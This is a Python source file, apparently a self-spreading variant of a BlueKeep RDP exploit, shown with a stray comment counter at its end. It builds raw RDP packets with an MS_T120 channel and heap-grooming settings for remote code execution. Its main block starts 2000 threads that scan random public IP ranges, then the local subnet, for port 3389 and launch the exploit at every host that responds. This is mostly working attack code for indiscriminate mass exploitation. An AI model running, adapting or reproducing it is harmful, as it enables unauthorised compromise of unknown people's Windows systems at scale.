amount = struct.unpack(">H", hdr[2:4])[0] - 4
else:
flags = hdr[1]
if (flags & 0x80) == 0x80:
amount = (struct.unpack(">H", hdr[1:3])[0] & 0x7FFF) - 4
else:
amount = flags - 4
hdr += self.recv_raw(amount)
#print_good(repr(hdr))
self.print_func("[RdpClient] recv_packet(%d): %s" % (len(hdr), binascii.hexlify(hdr[0:50])))
return hdr
def recv_raw(self, amount):
''' throws socket.timeout '''
data = b""
while amount > 0:
new_data = self.tls.recv(amount)
data += new_data
amount -= len(new_data)
return data
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/e78db616-689f-4b8a-8a99-525f7a433ee2
def build_negotiate_request(self):
pkt = b""
pkt += b"\x03\x00\x00\x13" # TPKT
pkt += b"\x0e\xe0\x00\x00\x00\x00\x00" # X.224 0xe = CR TPDU
pkt += b"\x01" # RDP Negotiation Request
pkt += b"\x00" # Flags
pkt += b"\x08\x00" # Length
pkt += b"\x01\x00\x00\x00" # request TLS
return pkt
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/2610fcc7-3df4-4166-85bb-2c7ae21f6151
def send_client_data(self):
'''
p = b"\x03\x00\x01\xca" # TPKT
p += b"\x02\xf0\x80" # X.224 Data TPDU
p += b"\x7f\x65" # BER: Application-Defined Type = APPLICATION 101 = Connect-Initial
p += b"\x82" # BER length in next two bytes >256 <65536
p += b"\x07\xc2" # length of rest of the data
p += b"\x04\x01\x01" # Connect-Initial::callingDomainSelector
p += b"\x04\x01\x01" # Connect-Initial::calledDomainSelector
p += b"\x01\x01\xff" # Connect-Initial::upwardFlag = TRUE
p += b"\x30\x1a" # Connect-Initial::targetParameters
p += b"\x02\x01\x22" # DomainParameters::maxChannelIds = 34
p += b"\x02\x01\x02" # DomainParameters::maxUserIds = 2
p += b"\x02\x01\x00" # DomainParameters::maxTokenIds = 0
p += b"\x02\x01\x01" # DomainParameters::numPriorities = 1
p += b"\x02\x01\x00" # DomainParameters::minThroughput = 0
p += b"\x02\x01\x01" # DomainParameters::maxHeight = 1
p += b"\x02\x03\x00\xff\xff" # DomainParameters::maxMCSPDUsize = 65535
p += b"\x02\x01\x02" # DomainParameters::protocolVersion = 2
p += b"\x30\x19" # Connect-Initial::minimumParameters (25 bytes)
p += b"\x02\x01\x01" # DomainParameters::maxChannelIds = 1
p += b"\x02\x01\x01" # DomainParameters::maxUserIds = 1
p += b"\x02\x01\x01" # DomainParameters::maxTokenIds = 1
p += b"\x02\x01\x01" # DomainParameters::numPriorities = 1
p += b"\x02\x01\x00" # DomainParameters::minThroughput = 0
p += b"\x02\x01\x01" # DomainParameters::maxHeight = 1
p += b"\x02\x02\x04\x20" # DomainParameters::maxMCSPDUsize = 1056
p += b"\x02\x01\x02" # DomainParameters::protocolVersion = 2
p += b"\x30\x20" # Connect-Initial::maximumParameters
p += b"\x02\x03\x00\xff\xff" # DomainParameters::maxChannelIds = 65535
p += b"\x02\x03\x00\xfc\x17" # DomainParameters::maxUserIds = 64535
p += b"\x02\x03\x00\xff\xff" # DomainParameters::maxTokenIds = 65535
p += b"\x02\x01\x01" # DomainParameters::numPriorities = 1
p += b"\x02\x01\x00" # DomainParameters::minThroughput = 0
p += b"\x02\x01\x01" # DomainParameters::maxHeight = 1
p += b"\x02\x03\x00\xff\xff" # DomainParameters::maxMCSPDUsize = 65535
p += b"\x02\x01\x02" # DomainParameters::protocolVersion = 2
# begin Connect-Initial::userData
p += b"\x04" # ASN.1 OctetString
p += b"\x82" # BER length in next two bytes >256 <65536
p += b"\x01\x61" # length of rest of the data
p += b"\x00\x05" # CHOICE: 0, object length = 5 bytes
p += b"\x00\x14\x7c\x00\x01" # v.1 of ITU-T Recommendation T.124 (Feb 1998): "Generic Conference Control"
# begin ConnectData::connectPDU
p += b"\x81\x44"
p += b"\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63\x61\x81\x34\x01\xc0\xea\x00\x0a\x00\x08\x00\x80\x07\x38\x04\x01\xca\x03\xaa\x09\x04\x00\x00\xee\x42\x00\x00\x44\x00\x45\x00\x53\x00\x4b\x00\x54\x00\x4f\x00\x50\x00\x2d\x00\x46\x00\x38\x00\x34\x00\x30\x00\x47\x00\x49\x00\x4b\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x18\x00\x0f\x00\xaf\x07\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00\x2d\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00\x39\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d\x00\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42\x07\x00\x01\x00\x00\x00\x56\x02\x00\x00\x50\x01\x00\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x04\xc0\x0c\x00\x15\x00\x00\x00\x00\x00\x00\x00\x02\xc0\x0c\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x03\xc0\x38\x00\x04\x00\x00\x00"
p += b"\x72\x64\x70\x64\x72\x00\x00\x00\x00\x00\x20\x80" # rdpdr = 7264706472 c0a00000
p += b"\x63\x6c\x69\x70\x72\x64\x72\x00\x00\x00\xa0\xc0" # cliprdr
p += b"\x64\x72\x64\x79\x6e\x76\x63\x00\x00\x00\x80\xc0" # drdynvc
p += b"\x4d\x53\x5f\x54\x31\x32\x30\x00\x00\x00\x00\x80" # MS_T120
# TODO: finish doing the above thing!
'''
pkt = b""
pkt += b"\x03\x00\x02\x13\x02\xf0\x80\x7f\x65\x82\x02\x07\x04\x01\x01\x04\x01\x01\x01\x01\xff\x30\x1a\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x03\x00\xff\xff\x02\x01\x02\x30\x19\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04\x20\x02\x01\x02\x30\x20\x02\x03\x00\xff\xff\x02\x03\x00\xfc\x17\x02\x03\x00\xff\xff\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x03\x00\xff\xff\x02\x01\x02\x04\x82\x01\xa1\x00\x05\x00\x14\x7c\x00\x01\x81\x98\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63\x61\x81\x8a\x01\xc0\xea\x00\x0b\x00\x08\x00\x00\x04\x00\x03\x01\xca\x03\xaa\x09\x04\x00\x00\x28\x0a\x00\x00\x65\x00\x74\x00\x68\x00\x64\x00\x65\x00\x76\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x10\x00\x07\x00\x61\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\xc0\x0c\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x02\xc0\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xc0\x80\x00\x0a\x00\x00\x00"
# TODO: dynamically generate this list based on self.channels
pkt += b"\x72\x64\x70\x64\x72\x00\x00\x00\x00\x00\x80\xc0" # rdpdr
spam_channel = self.args['GROOMCHANNEL'].encode() # TODO: remove global
full_spam_pkt = spam_channel + (b"\x00" * (8 - len(spam_channel))) + b"\x00\x00\x00\xc0"
pkt += full_spam_pkt
pkt += full_spam_pkt
#pkt += b"\x72\x64\x70\x73\x6e\x64\x00\x00\x00\x00\x00\xc0" # rdpsnd
#pkt += b"\x43\x54\x58\x54\x57\x20\x20\x00\x00\x00\x80\xc0"
#pkt += b"\x52\x44\x50\x44\x4e\x44\x00\x00\x00\x00\xa0\xc0" # RDPDND
#pkt += b"\x52\x44\x50\x43\x6c\x69\x70\x00\x00\x00\x00\xc0" # RDPClip
#pkt += b"\x63\x6c\x69\x70\x72\x64\x72\x00\x00\x00\xa0\xc0" # cliprdr
pkt += b"\x4d\x53\x5f\x58\x58\x58\x30\x00\x00\x00\xa0\xc0" # MS_XXX0
pkt += b"\x4d\x53\x5f\x58\x58\x58\x31\x00\x00\x00\xa0\xc0" # MS_XXX1
pkt += b"\x4d\x53\x5f\x58\x58\x58\x32\x00\x00\x00\xa0\xc0" # MS_XXX2
pkt += b"\x4d\x53\x5f\x58\x58\x58\x33\x00\x00\x00\xa0\xc0" # MS_XXX3
pkt += b"\x4d\x53\x5f\x58\x58\x58\x34\x00\x00\x00\xa0\xc0" # MS_XXX4
pkt += b"\x4d\x53\x5f\x58\x58\x58\x35\x00\x00\x00\xa0\xc0" # MS_XXX5
pkt += b"\x4d\x53\x5f\x54\x31\x32\x30\x00\x00\x00\xa0\xc0" # MS_T120
pkt += b"\x06\xc0\x08\x00\x00\x00\x00\x00"
self.transport_write(pkt)
self.recv_packet()
def send_client_info(self):
p = b"\x03\x00\x01\x49\x02\xf0\x80\x64"
p += struct.pack(">H", self.get_user_id())
p += b"\x03\xeb\x70\x81\x3a\x40\x00\x00\x00\x00\x00\x00\x00\xf3\x47\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x2e\x00\x34\x00\x37\x00\x00\x00\x00\x00\x42\x00\x43\x00\x3a\x00\x5c\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x5c\x00\x53\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\x00\x00\xa4\x01\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\xff\xff\xff\x00\x00\x00\x00\x86\x00\x00\x00\x00\x00"
self.transport_write(p)
def send_channel_join(self, channel_id):
p = b""
p += b"\x03\x00\x00\x0c\x02\xf0\x80\x38" # Channel Join Request PDU
p += struct.pack(">H", self.get_user_id())
p += struct.pack(">H", channel_id)
self.transport_write(p)
self.recv_packet() # Channel Join Confirm PDU
def send_channel_packets(self):
p1 = b"\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00" # MCS Erect Domain
self.transport_write(p1)
p2 = b"\x03\x00\x00\x08\x02\xf0\x80\x28" # MCS Attach User Request PDU
self.transport_write(p2)
self.recv_packet() # MCS Attach User Confirm PDU
self.send_channel_join(self.get_user_channel_id()) # User Channel
self.send_channel_join(1003) # I/O Channel
for channel in self.channels:
self.send_channel_join(channel.channel_id)
def send_confirm_active(self):
p = b""
p += b"\x03\x00\x01\xe0\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x81\xd1\xd1\x01\x13\x00\xef\x03\xea\x03\x01\x00\xea\x03\x08\x00\xb9\x01\x46\x52\x45\x45\x52\x44\x50\x00\x13\x00\x00\x00\x01\x00\x18\x00\x04\x00\x07\x00\x00\x02\x00\x00\x00\x00\x15\x04\x00\x00\x00\x00\x00\x00\x01\x01\x02\x00\x1c\x00\x10\x00\x01\x00\x01\x00\x01\x00\x00\x04\x00\x03\x00\x00\x01\x00\x01\x00\x00\x08\x01\x00\x00\x00\x03\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00\x01\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00\xe9\xfd\x00\x00\x13\x00\x28\x00\x03\x00\x00\x05\x58\x02\x00\x00\x58\x02\x00\x00\x00\x08\x00\x00\x00\x10\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x0a\x00\x01\x00\x14\x00\x14\x00\x0d\x00\x58\x00\x3d\x00\x00\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x08\x00\x02\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40\x00\x00\x01\x00\x01\x00\x01\x00\x00\x00\x00\x14\x00\x0c\x00\x00\x00\x00\x00\x40\x06\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0e\x00\x08\x00\x01\x00\x00\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x0a\x00\x08\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01\x00\x1a\x00\x08\x00\xff\xff\x00\x00\x1c\x00\x0c\x00\x52\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x05\x00\x00"
self.transport_write(p)
def send_establish_session(self):
# Client Synchronize PDU
p = b"\x03\x00\x00\x25\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x16\x16\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x04\x00\x1f\x00\x00\x00\x01\x00\xea\x03"
self.transport_write(p)
# Client Control PDU - Cooperate
p = b"\x03\x00\x00\x29\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
self.transport_write(p)
# Client Control PDU - Request Control
p = b"\x03\x00\x00\x29\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
self.transport_write(p)
# Client Persistent Key List PDU
p = b"\x03\x00\x00\x39\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x2a\x2a\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x18\x00\x2b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00"
self.transport_write(p)
# Client Font List PDU
p = b"\x03\x00\x00\x29\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x08\x00\x27\x00\x00\x00\x00\x00\x00\x00\x03\x00\x32\x00"
self.transport_write(p)
def add_tpkt_header(self, p, add_x224_tpdu = True):
if add_x224_tpdu:
p = b"\x02\xf0\x80" + p
tpkt = b"\x03\x00"
tpkt += struct.pack(">H", len(p) + 4)
tpkt += p
return tpkt
def terminate_connection(self):
p = b"\x03\x00\x00\x09\x02\xf0\x80\x21\x80"
self.transport_write(p)
def make_channel_raw(self, channel_id, data, total_length, flags = 0):
p = b""
p += b"\x64" # MCS Send Data Request structure (SDrq, choice 25 from DomainMCSPDU)... right-padded two 0-bits
p += struct.pack(">H", self.get_user_id()) # userId
p += struct.pack(">H", channel_id) # channelId
p += b"\x70" #\x80" # securityHeader?
msg_len = 0x8000 | (len(data) + 8)
p += struct.pack(">H", msg_len) # msg packet length!
p += struct.pack("<L", total_length) # CHANNEL_PDU_HEADER.length
p += struct.pack("<L", flags) # CHANNEL_PDU_HEADER.flags
p += data
tpkt = self.add_tpkt_header(p)
return tpkt
def send_channel_raw(self, channel_id, data, total_length, flags = 0):
tpkt = self.make_channel_raw(channel_id, data, total_length, flags)
self.transport_write(tpkt)
def send_channel_message(self, channel_id, data):
# TODO: message flags '| 0x10' if certain channel flags
# TODO: must split in chunks of 1600 (amount from early server pkt)
self.send_channel_raw(channel_id, data, len(data), 3)
def get_user_channel_id(self):
return 1004 + len(self.channels)
def get_user_id(self):
return (1004 + len(self.channels)) - 1001
def full_msg(msg, args):
return "%s:%s - %s" % (args['RHOST'], args['RPORT'], msg)
def print_good(msg, args):
log(full_msg(msg, args), 'good')
def print_status(msg, args):
log(full_msg(msg, args), 'info')
def print_status_counter(description, i, bound, start = 0x0):
modu = int(bound / 100)
if (i != 0 and i+1 != bound) and (i % modu != 0):
return
perc = int((i+1) / bound * 100)
msg = "%s - %d%%" % (full_msg(description, args), perc)
if i + 1 != bound:
msg = msg + "\033[F\r"
log(msg)
def print_sleep(description, seconds, client, tpkts):
seconds = int(seconds)
while True:
msg = "%s - %d sec " % (full_msg(description, args), seconds)
if seconds == 0:
log(msg)
break
msg = msg + "\033[F\r"
seconds -= 1
log(msg)
client.transport_write(tpkts)
time.sleep(1)
def print_bad(msg, args):
log(full_msg(msg, args), 'error')
def print_warning(msg, args):
log(full_msg(msg, args), 'warning')
def vprint_status(msg, args):
if args['VERBOSE'] != 'false':
print_status(msg, args)
def dummy_print(msg, args = ""):
pass
def exploit(args):
try:
start = time.time()
# fix MSF stuff
args['RPORT'] = int(args['RPORT'])
args['GROOMSIZE'] = int(args['GROOMSIZE'])
args['GROOMBASE'] = int(args['GROOMBASE'])
if args['EXITFUNC'] != 'thread':
log("ERROR: set EXITFUNC thread", 'error')
#vprint_status("Args: " + repr(args))
protocol_str = 'PROTOCOL_' + args['SSLVersion']
protocol = getattr(ssl, protocol_str) \
if hasattr(ssl, protocol_str) \
else ssl.PROTOCOL_TLSv1
rdp = RdpClient(args, args['RHOST'], args['RPORT'], protocol, print_func = dummy_print)
groom = GroomStrategy.factory(rdp, args)
if not groom:
print_bad("Invalid groom strategy: %s" % (args['GROOM']), args)
sys.exit(-1)
rdp.add_channel(ExploitRdpdrChannel(groom)) # "rdpdr"
rdp.add_channel(RdpChannel("rdpsnd"))
rdp.add_channel(RdpChannel("cliprdr"))
rdp.add_channel(RdpChannel("MS_XXX0"))
rdp.add_channel(RdpChannel("MS_XXX1"))
rdp.add_channel(RdpChannel("MS_XXX2"))
rdp.add_channel(RdpChannel("MS_XXX3"))
rdp.add_channel(RdpChannel("MS_XXX4"))
rdp.add_channel(RdpChannel("MS_XXX5"))
rdp.add_channel(RdpChannel("MS_T120"))
groom.before_connect()
print_status("Connecting to the target...", args)
rdp.connect()
except Exception as e:
print_bad(str(e), args)
#print_status(traceback.format_exc(), args)
finally:
print_status("Exploit completed in %d seconds." % (time.time() - start), args)
def log(msg, level = 'info'):
symbols = {'info' : '*', 'good' : '+', 'warning' : '!', 'error' : '-'}
print("[%s] %s" % (symbols[level], msg))
def gen_IP_block():
not_valid = [10,127,169,172,192]
first = random.randrange(1,256)
while first in not_valid:
first = random.randrange(1,256)
ip = ".".join([str(first),str(random.randrange(1,256)),
str(random.randrange(1,256))])
return ip+".0/24"
def ip_range(input_string):
octets = input_string.split('.')
chunks = [map(int, octet.split('-')) for octet in octets]
ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks]
for address in itertools.product(*ranges):
yield '.'.join(map(str, address))
def Scan(IP):
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((IP, 3389))
s.close()
args={}
args['RHOST'] = IP
args['RPORT'] = 3389
args['GROOM'] = 'chunk'
args['SSLVersion'] = 'TLSv1'
args['GROOMSIZE'] = 50
args['GROOMCHANNEL'] = 'RDPSND'
args['GROOMCHANNELCOUNT'] = 1
args['GROOMBASE'] = 0xfffffa8002407000
args['EXITFUNC'] = 'thread'
args['VERBOSE'] = 1
exploit(args)
except Exception as e:
pass
def HaxThread():
while 1:
for IP in [str(ip) for ip in ipaddress.IPv4Network(gen_IP_block())]:
Scan(IP)
def checklist(chunk, fh):
global running
global rekt
running += 1
threadID = running
for login in chunk:
try:
Scan(login)
except:
pass
print("\033[32m[\033[31m+\033[32m] Thread " + str(threadID) + " has finished scanning " + str(len(chunk)) + " IPs. Loaded: " + str(loaded))
running -= 1
if __name__ == "__main__":
threads = 0
for i in range(2000):
try:
threading.Thread(target=HaxThread, args=()).start()
threads+=2
except:
pass
myIP = socket.gethostbyname(socket.gethostname())
for IP in [str(ip) for ip in ipaddress.IPv4Network('.'.join(myIP.split('.')[:3]) + ".0/24")]:
if IP != myIP:
Scan(IP)
Comments
0 B
|👍
/👎